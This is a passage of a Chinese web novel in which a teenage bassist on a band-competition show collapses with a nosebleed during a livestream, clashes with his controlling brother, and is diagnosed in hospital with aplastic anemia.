【梁子尧咋那么不合群,直播都是提前安排的吧,他过来了也不打个招呼……】 【感觉大家话都少了。】 【说话呀说话呀说话呀!】 纪羽不习惯沉默的氛围,急于摆脱无形的压力,开口道:“给大家看看我们平时训练的环境吧。” 他翻转镜头,给观众介绍起来:“这是我们平常坐在地上的垫子,比较方便,可以靠着墙,坐椅子的话背撑不到会比较难受,啊对,柏盛哥手臂贴过膏药了没什么事。” 【欢迎新来的朋友进入直播间,这是我的妻子,正在介绍我们的爱巢。】 【又疯了一个。】 【节目组不乱剪辑我早就吻上了呵呵。】 【主播我那里不舒服,你可以叫一句老公帮帮我吗?】 【忤逆阿雀的斩!质疑阿雀的斩!挑剔阿雀的斩!xsr阿雀的,我们拉个□□流一下。】 【为什么大家突然都像受到了点拨一样发/情了?】 【乱码哥又出新作了,真是平平淡淡的幸福,感觉已和阿雀过上老夫老妻的生活。】 【加上今天的直播又有美妻回忆录可以看了,真好。】 纪羽念得嘴巴都快干了,发觉弹幕里又在说些他一知半解的东西,有点不高兴:“你们有没有在听我说话啊,再这样我让柏盛哥给你们播了。” 【在听在听,单手聚精会神观看直播中。】 【不要让柏盛来啊,你忍心看我们被晃晕吗,他还会骂人!】 【你把他们都叫起来,我刚刚看到了,他们就躺在那犯懒,去,踢他们一脚!】 纪羽吸吸鼻子,觉得有些痒,弹幕刷过有些眼晕。 可能是又感冒了,纪羽觉得自己要流鼻涕,刚开口让章成慧接手,脚边便溅开血花。 第93章 【刚刚谁看了乐队象限D组直播了, 怎么突然断了???】 【结束了?我就去上了个厕所……】 【最后我好像听到梁子尧的声音,立马就黑屏了,有人录屏了吗?】 【我有截图。[图片][图片]】 【梁子尧咋那么壮, 都看不到脸在哪,吓死人了。】 【因为这是阿雀视角。】 【啥意思啊, 声明一下,阿雀至少有175,穿鞋冲一冲也得180了^^】 【这是镜头畸变好吗, 哪有那么夸张……】 【这里没有承风的人在, 不会有人给你发红包的。】 【所以我组承风风评好转的原因是什么?】 【这还用说,强者为尊啊, 谁强谁有理, 烛子龙人品还是信得过的,他看好承风说明承风肯定没大问题。】 【再冷漠的人也会被承风的粉丝大红包温暖到, 就上周发了两万给粉丝吧, 说实话,我也羡慕。】 【可恶啊, 关注180天以上才能领!】 【毕竟又不是真和人有仇, 除了雷暴云其他乐队好像都和承风相处得还不错吧?看直播牧羊犬和G.T都相处挺好的,大家其乐融融的多好。】 【其实还是有仇的, 和Punch并列太招仇恨了。】 【去掉附加分他们也都是最高分吧?】 【别说了,去附加分雷暴云也10分, 雷孝子待会马上闻着味来了。】 【一群墙头草, 见风倒, 毫无主见[无语][流汗]……】 【楼上不就来了吗?】 【[分享链接]回放出了。】 【[图片][图片]截了几张拼一下,梁子尧是不是一直在盯着纪羽啊,卧槽毛骨悚然!】 【话题楼居然还能歪回来, 一直都在暗中观察吧梁子,从进门到一起坐下,眼睛就没挪开过,感觉有点好嗑……】 【好阴间[恶心]好好嗑[喜欢]好阴间[恶心]好好嗑[喜欢]好阴间[恶心]好好嗑[喜欢]】 【[抠鼻]两个人都遮脸,年纪好像也差不多,关系还这么微妙,我真的会多想……】 【有病。】 【别发疯了,雷暴云和承风这关系现在都能说是互相掐死一个都不心疼,还嗑,梁子尧一过来直播就掐了,不是又打起来了吧,伺机报复?】 【哪有人在直播期间搞事的,能别真把人当傻子吗?】 【我刚刚翻了一下回放,发现我发的好多弹幕都被删了,咋回事啊?】 【平台新规屏蔽词抓取吧,你以为能发出去就没事,其实过三秒就被屏了,阴吧?】 【我就说了点骚话怎么了,至于吗,我再试试哪些会屏蔽……】 【别试了,会炸号[微笑]】 【等等,我把视频放慢了一帧帧看,这是什么,血吗?[图片]】 【真打起来了,没事吧???】 纪羽回过神来,梁子尧已经关闭了直播,脸上闷湿的口罩被解下。 “不用。”纪羽推开梁子尧接在他下巴的手,鼻血汇聚在下巴尖向下滴,血从唇缝里渗进去,纪羽觉得有点恶心想吐。 “别说话,低点头,用嘴巴呼吸,别让血呛到喉咙里。”刘平平扶着他慢慢移动,“彗星去叫医生了。” 梁子尧站立一边,看刘平平伸手替他擦脸也不见纪羽抗拒,激烈的反应只是对他。 这七天的工作中,纪羽态度自然有时甚至还会单独和他交流,给他踩节奏,偶尔他带饭回来,纪羽也会吃。 梁子尧还以为他们的关系在逐渐缓和。 纪羽没时间关注梁子尧内心的弯弯绕绕,当然哪怕他注意到了也不会在乎。 流鼻血就叫医生来也太夸张了,但没一会儿,纸巾就被血淹透了,亏了柏盛将自己的毛巾奉献出来才勉强没让血渗落。 彻底止血已经是近三十分钟后的事,医生检查称没有血管破裂,可能是黏膜损伤,但出血长时间止不住还是应该去医院里详细检查。 血流得太凶,纪羽脸煞白一片,众人都劝纪羽先回去休息,原本晚上还有一段公布票数的录制任务,纪羽也只好缺席。 直播中断的动静肯定瞒不过贺思钧,纪羽刚把脸洗干净想着回去怎么和爸妈交待这一身血迹,就见贺思钧旁若无人地走进来,身上热得要命还探手摸他的额头。 “哪儿难受,身上痛吗,你手好冷。” “就流鼻血,其他没事,有一点晕。” 贺思钧当即道:“去医院。” “我困,我想回去睡觉。” 贺思钧坚持:“先去医院看看,没事我们再回去休息,不然我不放心。” 纪羽心情低迷,几乎是想也不想就拒绝道:“不要,你不放心又不是我不放心,我今天累了,我想睡觉,我想躺着,我哪儿都不去,我就要回家。” 他说完,低下头,掰着手指上的茧,一副赌气拒绝交流的模样,贺思钧不和他多说,动手将纪羽的水杯和其他东西塞进包里背上,又把贝斯装回琴盒,纪羽天天都要背回去,再背过来,宝贝得不得了。 为了适配更多曲风,纪泽兰和徐梁后来也给他又订了新的贝斯,但纪羽还是最喜欢这把。 光是看到纪羽偷偷瞥来监督的小眼神,贺思钧都没法和他说重话。 自贺思钧进门后,排练室内其他人面面相觑,最终还是刘平平上前打了招呼:“你来了刚好,阿雀不让我们送,你回去路上看着点我也放心,他刚刚流了不少血,毛巾我都留着了,你要带去医院给医生再看看出血量也行。” 贺思钧道了谢,把毛巾塞进校服口袋里,他出来得急,没时间换衣服。 纪羽不情不愿跟着人走了。 门一关上,里头就关了麦。 “高中生?那是阿雀助理?” “……刚刚是不是得打电话叫他家长来?” “我已经不知道该说什么了。” “遭了,忘记和老麦说一声了,我去找他们。” “梁子尧,都是兄弟,刚才的事咱们都当没看见,行不?” 纪羽走出门,面上一凉,才发现自己在镜头前露了脸,他脚步一转,打算折回去。 贺思钧抬手在他脸上安上口罩,伸手抵住他腰背:“又要去哪儿?” “找老麦,刚刚摄像头拍进去了,露脸是另外的价格,我们还没谈好呢。还有你肯定也录进去了。” 贺思钧看他走了这一小段路,额前碎发就被冷汗濡湿,整个人颜色异常浅淡,下一秒快被阳光晒化了似的。 贺思钧单手搂紧他:“你先别考虑这些,晚点我会跟曲坚和老麦聊,你先把自己看好,可不可以?” 纪羽眼睛一抬,贺思钧预感不妙,果然下一秒纪羽就抬手打在他颈侧:“你这是什么态度,我求你来了吗,本来就够烦了,你还命令我,到底是你喜欢我还是我喜欢你啊?” “我不是那个意思。” “你以为你不是那个意思就可以了?”纪羽不依不饶,“你就不能都听我的话,之前你说会安排好结果找了匹“马”替我,现在还说交给你,我才不信。” 贺思钧又挨了一下,知道这都是纪羽的心里话,一言不发地受着。 他们出了拍摄基地,说话也没什么顾及,纪羽的精神气全撑着骂贺思钧。 “你在听我说话吗,你打车目的地设哪儿,我说了不去医院了,我想睡觉,你把我手机还给我,我自己打车回去。” 纪羽向边上倒,贺思钧把琴盒放到地上,把纪羽固定在身前,按他的脉搏。 “别睡,还有哪儿难受?” 纪羽没觉得哪儿难受,就是没力气,站不稳:“我没难受,我上节目都没感冒一次,我特别好。” 这一片属于郊区,连辆出租车都不经过,贺思钧打的车还离这有十万八千里。 “你拨什么电话,120,你发疯呢?!”纪羽拉住贺思钧的手,瞪大眼睛,“我就流了点鼻血。” “你已经站不稳了。” “我是因为困!”纪羽大声说完,捂着脑袋缓了一会儿又道,“还有一点晕,就一点。” 他比了个手势。 “纪羽,”贺思钧安抚道,“我们就是去医院检查一下,等检查报告出来了,我都听你的安排,好吗,我保证我绝对不做多余的事,也不会让承风再出事,你再信我一回行吗?” 纪羽头脑眩晕,像喝醉了酒一般站不稳,但还能理解贺思钧的话,思考三秒后,他轻声道:“你确定万一我要住院,你会帮我偷渡出来参加节目?” “……” 纪羽着急了:“你说话啊,刚刚不是说得好好的吗?” 贺思钧咬咬牙:“我确定……” 话音还未落下,手机页面跳出来电话。 [纪律] 纪羽攀着贺思钧站稳眯眼看去,伸出指头要挂断,眼前一晃,按到了接通。 纪律上来连句寒暄也无:“纪羽在你旁边?让他接电话。” 纪羽本来不想开口,但这熟悉语气一出,他也没什么顾忌了,对着手机话筒就喊道:“我凭什么接你电话!” “我给你打了那么多电话,你为什么不接?你现在还在训练室?” “我早就把你拉黑了,你还打,你打了有什么用?” “……”话筒那边一阵喧嚣的杂音。 贺思钧插着空说道:“纪羽不太舒服,我现在带他去医院,如果有什么事,晚点再说吧。” 正要挂断电话,纪律的声音伴随一道尖锐的刹车声响起:“我已经到了,让纪羽上车。”—— 作者有话说:其实纪律真实身份是个网约车司机。 第94章 纪羽宁死不从。 他人生第一次坚定地伸出右手竖起中指, 向纪律表达了他的轻蔑。 纪律下车,纪羽看着他靠近腿不由自主发软,攀在贺思钧身上撑着自己, 趁纪律伸手时晃身转到贺思钧背后。 纪律见他脚步虚浮,袖口沾着血迹, 全身扒在贺思钧身上,重心不稳,也不敢用劲扯他:“你哪里受伤了, 鼻出血还是哪儿?” 纪羽吸吸鼻子:“和你没关系。” 贺思钧护着纪羽, 纪律看不到他的脸,靠药物压制趋近于一潭死水的情绪又是一阵波动:“你跟我现在去医院, 别让爸妈担心。” “贺思钧会带我去的。” 以纪律的视角, 只能看到纪羽细瘦的指节攥住贺思钧腰侧外套,两人上身紧贴着, 身影重叠。 他好像成了什么忠贞不渝感情的见证者。 真是感天动地。 “纪律哥, 你回去吧,我叫的车马上就到了。” 贺思钧也伪装成这幅无害的面貌。 手指在掌心一寸寸收拢, 在这一刻纪律终于意识到自己有多么滑稽可笑, 转身欲走。 纪羽咳嗽了一声。 …… 血液呛到喉咙里带来一瞬间的窒息感,鼻血嘀嗒个没完, 纪羽彻底失去了抵抗,他自认是被挟持着上了纪律的车。 贺思钧叫他别睡, 纪羽憋屈得要死, 车开得那么快, 他都快被晃晕了,怎么光和他唠叨,不知道对纪律提一句行车安全。 想张口提醒, 他就忘了怎么用嘴巴呼吸,鼻子被捏着又酸又痛,还是一直有血淌出来。 被抱着冲进急诊的时候纪羽头都不敢抬,暗红色血迹在贺思钧灰白的校服外套上晕开一片。 后来的事纪羽就记不清了,总之醒来后他趴在熟悉的爱山医院病房里,有点冷,侧头一看,上衣被掀起一块,后腰被盖上了无菌布医生正夹着一块碘伏在中间裸露的洞口处涂抹,冰冰凉。 “你醒啦,现在要给你打麻药,有一点疼,稍微忍一忍。” 另一个医生道:“哥哥可以盖住他的眼睛。” 纪羽这才发现床尾还站着纪律,一点声响也没有。 “哎,别抖,马上就好了。” 橡胶手套贴着脊椎向下摸索,确认,纪羽不想看到纪律拉着的驴脸,索性闭上眼睛。 针尖穿破皮肤的只是一瞬间,但紧接着探入皮下的金属戳刺感令纪羽浑身僵硬,好像麻药刺入时的痛感还在持续。 从被冰冷的液体浸透的皮肤,再到被拉扯的皮下组织,最后钻入骨缝中。 酸胀的,充满异样的疼痛。 纪律伸手盖住了不断颤动的睫毛,用纪泽兰才会用的柔和语调安慰他:“马上就好。” 纪羽的脸色还没恢复过来,唇色很淡,盖住眉眼后更显得孱弱。因为怕冷,他轻轻地瑟缩了一下,又记着医生的叮嘱,全身僵硬着不敢动,纪律工作时向来以细节为重,这次却忘了把自己的手搓热。 “好了。”医生抽出长针,盖上纱布按压,“检查结果大概需要一两天时间出来,24小时内不要洗澡,明天这时候护士会来拆纱布,这几天尽量不要平躺压住伤口,一般两三天之后就不痛了。” 纪羽一听结束就转开了脑袋,后脑勺对着纪律。 半小时静默,纪羽哪都儿去不了,也不敢乱动,怕钻开的洞里流出点什么东西。 纪律替他整理了衣服,把窗帘拉开,天还亮着,阳光斜斜地照着远处的高楼。 纪羽拧着脖子看了一会儿,他讨厌夕阳,没多久又转回来:“我是不是不能去上课了。” 纪律似乎是不想刺激他敏感的心灵:“等你好了就可以。” “那是什么时候,我今年就想考大学。” “你恢复得快就来得及。” 纪羽思考片刻。 “我没得肿瘤,不是癌?” 纪律脸色骤黑:“胡言乱语,怎么可能?” 纪羽撇撇嘴,巴文旭就病了,毫无理由的,可见疾病落到每个人身上都是毫无征兆的。 巴文旭隔壁病房的老太太不抽烟不喝酒生活作息良好每年体检,脑袋里还是悄无声息地长出个瘤子。 前两天纪羽去看巴文旭时,老太太的病床空了。 或许是出院了,或许是做了手术转到重症监护室去,或许还有别的什么原因不在那里治疗了,总之有许多可能性,纪羽没去问。 “那你跟我说我又怎么了不就好了吗,会死还是不会死?” “别说了。”纪律受到刺激般站起,“你在这好好待着,我马上回来。” 纪羽对着他的背影:“你不回来也行。” 病房里只剩下纪羽一个人,不过还没来得及伤春悲秋,贺思钧就推门而入。 他每次都来得恰到时机,纪羽怀疑他是不是在自己身上植入了什么监听装置。 “我去印了几份报告,你要看吗?”贺思钧在病床边坐下,纪羽说要,他就举着检查单一张张给纪羽看。 “好像没说很严重。” “这个,说你全血细胞减少和网织红细胞低于正常值已经很严重了。” “白细胞也不多,是不是就说明我不是白血病?” “应该不是。” 纪羽舒了一口气:“我看短剧里很多白血病呢。” 贺思钧皱眉:“别跟着辽光看这个。” 纪羽哼哼:“是柏盛带我看的,瞎冤枉人。” 麻药渐渐褪去,尖锐的刺痛感顺着脊骨向上攀爬,纪羽说话声音越来越小,用嗓子硬顶着音量问:“是我哪有问题啊,怎么治能好?” 他不知道自己在发低烧,不知是难受还是疼痛激出来的冷汗在面颊上凝成一片,透出自然的光泽感,肤质像半透明的,骨骼和血肉都隐去了,贺思钧陡然移开目光,拿着纸巾沾纪羽额头上的冷汗。 “还有其他报告没出,明天或者后天应该就知道了,没事,你好好吃药休息就能把指标升上去。” 贺思钧又从怀里掏出湿巾,托着纪羽手掌从掌心擦到指缝。 纪羽在贺思钧帮助下侧起身嘀咕:“衣服你给我换的吗,原来那条洗干净我还要穿的。” “不是。”贺思钧否认,“纪律不让别人靠近你。” 纪羽先是笑了两下:“你现在也不叫他哥了。” 牵扯到后腰有点痛,纪羽立马止住笑:“我节目咋办,你想出办法没有?” 贺思钧说:“我还要再想想,你那段镜头节目组已经答应删了。” “都给你将功赎罪的机会了,你怎么那么笨……”纪羽抱怨一句,“删了就好,流鼻血被人看到多丑啊。” “不丑。” “……你回答那么快干嘛,我又不是在问你。”纪羽嘴上这么说,心情还是得到了点安慰。 贺思钧看出他的困倦:“累了就睡吧,你出血有点多,所以会有点晕。” 纪羽不想睡,一闭眼他就什么也不知道了,像穿越似的,如果他真能穿越,穿到别的世界或是跨越时间线,恐怕第一件事就是把自己打晕看能不能再穿回来。 贺思钧看出他的心不在焉问道:“小羽,你在想什么。” 纪羽翻动眼皮,说他把纪律叫回来陪巴文旭,没想到他自己栽了。 “他肯定已经告诉爸妈了,你现在就回家吧,哦,帮我手机充一下电。” “我不走。” “你可以走了。”纪律进入病房时已经恢复了镇静,前不久的焦躁和过激好像只是纪羽的错觉。 贺思钧垂头看着纪羽,只说道:“我可以留在这儿。” 纪羽的目光在贺思钧和纪律脸上转过一圈,又扫了一眼边角被包上保护贴、台面空荡荡的床头。 纪羽诚恳道:“你们可以都出去,我一个人待着也不会撞墙或者用输液管勒死自己。” 然后他看着两个人的颜色都变得异常难看。 “小羽,不要开这种玩笑。”贺思钧说。 纪羽裹紧被子,无辜地眨眨眼,闭紧嘴巴做了个拉拉链的动作。 贺思钧又开口,好像他才是这个屋里最能言善辩的一个:“如果要留一个人,还是我留吧,纪律哥在吃药还是早点回去比较好。” 纪羽玩着被角,没有要关心的意思。 纪律冷肃着脸:“……” 贺思钧:“药总是有副作用的,您还是先照顾好自己吧,不是每一次都有像上次那么好的运气。” 这下,纪羽倒是有点好奇了,他知道贺思钧除了在网上剪承风的视频,好像还注册了小号混进粉丝论坛里。 论坛是有什么灵丹妙药吗,居然让贺思钧也学会了冷嘲热讽和阴阳怪气,纪羽简直想订沓幅锦旗送给这些好心人。 注意到纪羽的视线,贺思钧回以安抚的眼神。 “我吃的药物没有让人具有攻击性的副作用,你的担心是多余的,同样的错,我不会犯第二次。” 在贺思钧应答前,纪羽先一步撑起上身惊奇道:“你不会现在才开始吃药治你的精神病吧?” 他顾不上身体酸软发麻:“我以为你大学时候出国会去看那里的心理医生,你不会告诉我你一直以为你很正常吧?” 纪律看着纪羽挣扎着落入贺思钧的怀里,语气僵硬道:“控制欲强不属于精神疾病,喜欢上从小一起长大的同性朋友,才是有病。” 纪羽像抓住他的把柄,提声道:“看吧你就是有病,你还恐同!” 第95章 同样的场景, 不同的反应。 纪律胸膛起伏片刻,什么也没再说,径直坐到陪护椅上, 摆明了是要在这盯着他们。 贺思钧也从一旁搬了椅子坐下,伏在床头柜做题。 笔尖滑过纸面的沙沙声格外催眠, 纪羽一面觉得这场景过于诡异,一面又忍不住耷拉眼皮。 过了一会儿,略有沉重的呼吸声响起, 贺思钧放下笔, 看向纪羽。 因为身体虚弱,少年的呼吸也显得疲累, 侧脸压在枕头下也挤不出什么肉。纪羽侧躺着, 被面隆起一块,前后空落落地进风, 贺思钧和纪律同时起身掖被角。 纪律看了贺思钧一眼, 在纪羽背后塞了一块枕头,免得他下意识翻身压到针口。 病房门虚掩上, 仅留了一道随时观察的口子。 “贺思钧, 占便宜也是有限度的,你应该知道收敛” 贺思钧很少打断人说话, 时常会给人他在尊重你的错觉。 纪羽再如何和纪律吵、闹,那也是他们自己家里的事, 斯凯拉医生并不能完全体会另一个国度对于家的理解, 才会频频给出不合纪律心意的建议。 但贺思钧应该懂, 被贺泰安倾注全部心血的贺思钧必须明白,什么行为才是为家人的未来做考虑。 贺思钧听完这一句指责,无波无澜道:“你也是。” 你不也是借着身份的便利做一些纪羽无法接受的事吗, 又比我要好到哪里去? 纪律面色发沉:“无论如何,纪羽都是我弟弟,我和他的事我会慢慢解决,但你和他,不可能。” “这也是我和纪羽的事。” “贺思钧,你想清楚。”纪律向病房内扫了一眼,“就算纪羽答应和你在一起,你又能为他担保什么,你现在可以缠住他,但你毕业之后呢,你打算让纪羽等着你,像乔姨一样等贺泰安半辈子最后还要养着他供着他,抹泪过几十年? “你能给纪羽的保证是什么,是一辈子没法见光,还是你半年的工资够他一个星期的医药费?” 你能为他带来什么呢,除了最廉价的爱,你能给比现在他富足的生活,还是更密不透风的防护?你什么都没有,拿什么说爱,一点细枝末节的关心那不是爱,你不过想借助纪羽的心软拴住他,让他以为那是足够抵御风雨的一切。 心电图滴嘟作响,让纪律想起他大学时期用的一台传真机,总是发出莫名的响声。 ——“哥哥,你还会回来吗(哒哒),康年哥说你要留在国外了,妈妈说她在圣诞节前回来,可是还有好几个月呀……(嘀嗒)你什么时候能回来,大学可以请假吗,不行的话(滴——)我来找你可以吗?……不是不想上学啊,我下次生病请假的时候去找你就好了……” 纪律收回目光,右手指节僵直而无法蜷缩,他转过头听贺思钧说道: “我不是我爸,我不会走他的路,我会给纪羽我能做到的全部,不会因为我再让他受委屈——如果他愿意和我在一起。” 纪律直白指出:“贺泰安可已经替你递交资料了。” 贺思钧:“我不会接受高考加分。” 这两句话表达的意思已经很明确,纪律担心的问题大半都能被解答。 可纪律仍然嗤笑道:“天真。” 贺泰安不是徐梁这类的慈父,他说一不二,性格偏执刚硬,是不会允许贺思钧脱离他的预期随心所欲,贺思钧必然会摔个大的。 在他看来,贺思钧仍然只是个纸壳子,风一吹就倒,没法为他做出的任何承诺负责。 这场谈话以不欢而散告终。 纪羽这一病声势闹得很大。早上,刚送走几个生意上相熟的叔伯婶娘,下午又和杨康年和他刚领了证的女友见了一面,叫了声嫂子换了封红包,约好六月中旬参加他们的婚礼。 到了晚上,展舒文、柳承和顾英杰潘玥代表班级来慰问他,顾英杰把其他人写的贺卡都带来念了念,纪羽窘得想把脑袋钻进被子里。 还没送走朋友,承风和《乐队象限》里那帮人又来了。 承风还好,其他人都挺不自在——知道纪羽可能是高中生是一回事,亲眼看到纪羽扎在高中生堆里就是另一回事。 章成慧生出点压榨高三生的羞躁,和最为高大的柳承打了个招呼,结果没聊几句,人就跑了,辽光在那冷嘲热讽说什么老黄瓜就别刷绿漆硬塞进人清葱高中生堆里了。 纪羽赏了辽光一个面苹果堵上他的嘴:“分数出来了没?” 贝旬:“出了,Diba和跳窗户悬了,下周可能要走人。” 章成慧在挑人这一块儿确实独具慧眼,得到加分后,承风一举领先Punch成为总分排名第一,曲坚说跳窗户正在抗议赛制,在网上带了一波节奏。 纪羽小小得意一会儿,又恢复正经道:“接下来什么安排?” 老麦脸色不太好看:“还是合作改编。” 纪羽瞎猜:“和谁,雷暴云?” “是歌手,蔺瓒。” 第三轮赛制,跨界合作,每支乐队匹配一位歌手,双方合作对歌手带来曲目进行改编创作,时限五天。 蔺瓒带来的是他的成名曲《声声》,《声声》以轻灵的人声为主音,制作团队极尽匠心,编曲简练、多留白,不是一个适合拿到乐队舞台上改编竞技的作品。 不仅是风格不匹配,就连沟通上也存在很大问题,让承风配合蔺瓒就像是把海龟扒了壳丢进沙漠里冒充蜥蜴。 “他妈的,一男的唱腔比女的还高,这不让改那不让改,还嫌我们盖住他声音。”老麦骂了一句就收住口,“不过你不用想这些,最迟后天肯定让他拿个准话。” 柏盛坐一旁剥了根香蕉吃:“刚出来听见南塔也在吵,拍门声整层楼都听得见,Punch吧,等了一天嘉宾还没来,说改天来看看你,你得住几天院?” 纪羽曲起食指挠了挠脸:“不知道啊,检查结果还没出来呢。” “医生说住几天就住几天,身体是一辈子的事儿,节目录制就管他去,”柏盛回想起纪羽鼻血哗哗流的场景还心有余悸,“就算这回你不在,承风这分别人一时半会儿也追不上来,安心养着吧,啊。” 人呼啦啦地来,又呼啦啦地去。 虽说赛制糟心但也轮不到住院的操心,可纪羽一闲下来就容易胡思乱想,承风群里他发消息也没人回,索性自己爬起来找了声声的原曲来回反复地听又扒谱子,扣了点建议发给贝旬,折腾到零点才睡。 才睡下没多久就被拍醒,护士问他哪里难受,纪羽反应慢半拍道:“我困。” 护士说:“你发烧了,三十八度,有没有头痛头晕,肚子痛吗?” 纪羽才摇头,喉咙一缩就趴在床边吐了。 第二天纪羽在全身酸痛里醒来,光是醒神就花了十来分钟。 徐梁把他扶起来坐好,纪羽看了一圈:“我妈呢。” 徐梁想敲他脑袋,看他脸色惨白又不忍心:“小没良心的,爸爸在这,就知道找妈妈,你妈早上等你退了烧才回去休息,现在还没醒呢。” 纪羽这才反应过来:“我晚上真的发烧了?我以为在做梦呢。” 徐梁欲言又止:“先刷牙、洗把脸。” 纪羽把漱口水吐了,等不及擦掉牙膏沫就问:“报告出来了吗,什么病,我得在这住多久?” “医生刚来没多久呢,你先吃饭。” 纪羽不爱吃稀汤寡水的,想韩姨给他煮的粥,吃了几口就说饱了。 徐梁追着他喂:“这不行,再吃点。” “我待会再吃嘛,我想看平板。” 徐梁记挂着不能让他累着的道理,叮嘱道:只能玩,不能用来学习啊。” “嗯嗯嗯嗯。”纪羽胡乱应着,点开《乐队象限》开始复盘。 第四期舞台只看了一半,就被一只手按了暂停,纪羽抬头一看,是纪律。 纪羽马上偏过头,嘴巴下撇看向徐梁。 徐梁立刻走来挡住纪律,把饭盒拎上桌:“哥哥给你带饭来的,不是想吃韩姨做的菜吗,喏,是不是你喜欢的。” 纪羽这才勉强去接筷子,一下没拿准,摸索一下才将筷子握到手里。 纪律立刻按了呼叫铃叫人进来,纪羽手上筷子是拿也不是放也不是。 “检查一下他眼睛,他刚刚眼睛对不上焦。” 扒开眼皮被手电筒照眼睛是所有检查里纪羽最害怕的一环,他一动也不敢动,所有问题都一一答了。 “眼睛没什么事,可能是因为贫血导致的视网膜供血不够,有一点视力模糊,有时候过度疲劳也会出现,不是长时间的模糊就不用太担心。” 医生走了,纪羽松了一口气,才要对着纪律发作,就见徐梁把平板收走放置一旁。 “小宝,乐队的事就先放一放,咱们先好好养养休息休息,好吧?” 纪羽看看一脸忐忑的徐梁又看看面容平静的纪律,有点委屈:“我又没干什么……” 徐梁着急地上前:“医生不是都说了让你多休息嘛,我们还在输血呢,脑子供血都不够,这得多伤脑啊。” 要说刚刚还有点表演的成分,现在纪羽是真忍不住哇地咧开嘴:“我是生病了又不是变笨了,你和纪律站一边了……他一回来你们就听他的了!我得什么病也不告诉我,你们都一伙的……” 第96章 纪羽情绪起得急, 脸上本来就没多少血色,一着急脸唰白,徐梁急忙先过去抱住他安抚。 “不是不告诉你, 医生还在查呢,你做那么多检查是不是得一项一项排查, 不着急啊,爸爸知道你心里害怕,没事的, 生病了我们就治, 之前不也是好好的吗?” “不一样!不一样……” 还有两个月时间高考,节目录制到中期, 巴文旭生了治不好的重病, 纪羽闭上眼睛都不知道要先焦虑哪件事。 他认为一切都可以慢慢解决,但又怕什么都没解决得了, 下一秒一闭眼就再也什么都不知道了。 纪羽怕死, 他想人是没有下辈子也没有死后的另一个世界的。 人死了就什么也没有,尘归尘, 土归土, 什么都带不走。 如果真的死后有极乐世界,那巴文旭是愿意做他父母的小孩还是继续当一个老头呢, 大家都想死后有长辈爱护,但谁做那个长辈谁做那个孩子, 如果大家都平等没有身份, 那么是不是就说明活着所执着的一切都失去了意义呢? 纪羽从小就开始想, 有几次高烧晕厥再醒来后他的情绪相当低落,有一位姓黄的医生常常来找他说话,告诉他害怕、焦虑是再正常不过的情绪, 但是如果始终让自己陷在这样的情绪里,那就是对自己的不负责。 生气、难过、高兴、担忧、欣慰、不安、紧张、满足……纪羽能轻易体会到别人的幸福的同时,也能嗅到风带来的他人苦涩的气味。 纪律的管教不带有任何愉悦的气息,明明他也不能从中得到乐趣,还是不知疲倦地陷入循环的怪圈里。 黄医生告诉他世界上没有绝对百分百正确的事,家人能长久地生活在一起靠的是互相包容和迁就,纪羽试着这么做了,像他隐隐知道纪律是为了他回国却不愿意承认那样别扭地容忍着纪律。 他没有纪律年长,没有纪律见过的世面更多,但他是和纪律相处时间最久最久的人,父母都长久地不在身边,他倚靠着纪律,纪律也牢牢地抓住他。 但一份争吵叠加着两个人的痛苦,即使纪羽时常想,这个家里没有纪律会怎么样,在他内心里却始终否认着这个选项。 他不能因为纪律不懂爱而原谅,却也因为纪律不懂爱而无能为力,如果说爱的本质先于它存在,那么纪律对于纪羽,是存在先于本质,对于纪律而言,这却是一个永世难解的谜题。 纪羽曾经心里有千百个解决问题的答案但每一个都走进了死胡同。 就像他一直逃避着面对承风,因为他知道承风的人一定会原谅他,他的那句都是我的错除了化解他的责任又能起到什么作用呢? 就像他知道贺思钧为什么会拦下他,也理解贺思钧的感情,但却始终走在拉近又推远的中间点上。 但慢慢这些答案都随着时间在一点点化开,走向曾经。 纪羽在成为一个他心目中他希望成为的人,不是拿着刀架在脖子上歇斯底里的疯子,也不是站起身就天旋地转的病人,他想他要不依附着任何人解决问题、情绪平和又冷静,是一个在别人嘴里就魅力十足的大人。 他是一直这么期望着的。 所以他可以假装忽略嘴巴里退不去的血腥味,忍受四肢不间断的疼痛,假装没看见衣服下逐渐扩散的瘀斑,假装他确实没问题很快就能治好。 可为什么还是因为一点小事他又开始向徐梁撒气,他觉得难堪又懊恼。 他还是一如既往地情绪不稳定,没有丝毫成长。 徐梁拍着他的背:“爸爸知道,你长大了有很多自己的事要处理,现在只能住院是不是有点急了?” 纪羽把头埋着,没心情回答,闷闷地咳嗽。 像很多的逐渐年迈的父母那样,纪泽兰和徐梁纵然外表仍算年轻,但内心中的观念已经逐渐偏移,他们在家庭里渐渐退出中心,最年长的孩子接替他们的位置,逐渐掌握权威。 一朝纪律离开,他们也难以找准自己的位置。 爱是真的,亲昵是真的,缺少相处的时间也是真的。 他们当然可以支持纪羽想要的一切,但也确实对纪羽缺乏了解,他们囫囵地度过了纪羽的童年与青春期,纪羽没有为他们时常的缺席怨恨反而更深地抱紧了他们,这不是恩赐,而是另一种遗憾。 纪羽始终尝试体会他们理解他们,却也始终怀揣着不安,怕再次分离也怕被留下。 郝医生和几个血液科、免疫科医生被急匆匆请来,堆了满桌报告资料,不管纪羽能不能听懂,一一和他解释。 “通过中粒白细胞和血小板的异常指标基本可以判定方向……存在造血抑制 “骨髓检查结果……骨髓增生程度低下,造血细胞比例显著减少……骨骼间质水肿、脂肪化,无纤维组织增生。无病态造血、粒细胞颗粒异常、红细胞巨幼变,可基本排除MDS,……排除急性白血病,排除感染相关性骨髓抑制…… “……Ham试验呈阴性……目前初步诊断结果为急性再生性障碍贫血,等后续检查结果出来,就能最终确诊了,我们现在建议是采取免疫抑制治疗。” 医生语速嘟噜噜的一连串,纪羽刚记下前边的,后边的就紧跟着追上来了,倒是都听清了,就是需要点时间消化,前两天贺思钧拿来的报告不全,只看出他可能是得了什么血液病,这几天大数据就天天为他推送得了xxx还能活几年?有患xx二十年的病友吗? 现在终于是知道了,纪羽也不清楚这是好结果还是坏结果。 “能治。”郝医生道,“可能比你的紫癜治得还要好。” 纪律问:“完全治愈率有多少?” “像二十岁以下的患者,临床治愈率能达到60%左右,长期生存率也比较高。” 纪律:“60%?” 郝医生打圆场:“一般是50%~70%,我们医院呢,有这个自信能把成功率再往上拔一拔。” 徐梁也试图加入探讨:“用最好的药,钱不是问题……” “那当然,是这样,这个治疗呢主要通过……长期地控制……疗程在6个月以上……” 纪羽趁乱摸回手机,点开浏览器开始查询,恰好贺思钧也发来消息,问他今天怎么样,检查结果出来了吗。 纪羽想了想,还是把事实告诉了他。 